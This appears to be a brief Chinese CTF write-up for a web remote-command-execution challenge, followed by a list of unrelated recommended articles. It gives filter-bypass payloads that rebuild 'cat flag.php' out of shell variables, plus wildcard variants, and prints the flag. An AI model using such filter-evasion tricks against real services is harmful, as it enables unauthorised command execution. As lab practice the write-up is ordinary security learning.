【web】-rce-Commix

打开页面就知道是命令执行

输入ls查看,能够显示文件列表;ls /提示hacker,flag也是Hacker,ls .. 返回上级。说明后台过滤了/ cat等关键词,并没有过滤空格

采用拼接方式的payload:  a=fl;b=ag.php;c=t;d=ac;$c$d $a$b;

或者 cat fla?.php  cat f*

flag: 8b253377d95941f1f862de13ee7c688d

相关推荐

  1. Linux:RHCEweb服务练习

    2024-07-14 08:56:01       27 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-14 08:56:01       66 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-14 08:56:01       70 阅读
  3. 在Django里面运行非项目文件

    2024-07-14 08:56:01       57 阅读
  4. Python语言-面向对象

    2024-07-14 08:56:01       68 阅读

热门阅读

  1. CSS 样式缓存不更新

    2024-07-14 08:56:01       24 阅读
  2. 基于go-zero二次开发的脚本

    2024-07-14 08:56:01       21 阅读
  3. RabbitMQ的工作模式

    2024-07-14 08:56:01       17 阅读
  4. 跨域问题出现的原因,怎么解决?

    2024-07-14 08:56:01       21 阅读
  5. Isaac sim中使用不同的backone

    2024-07-14 08:56:01       17 阅读
  6. Python中的pytest的使用

    2024-07-14 08:56:01       26 阅读
  7. Power BI 工具介绍

    2024-07-14 08:56:01       24 阅读
  8. 【C语言】多线程服务器

    2024-07-14 08:56:01       22 阅读
  9. 数学建模如何创新

    2024-07-14 08:56:01       27 阅读
  10. 【Qt】使用临时对象的坑

    2024-07-14 08:56:01       21 阅读
  11. C++智能指针的用法

    2024-07-14 08:56:01       23 阅读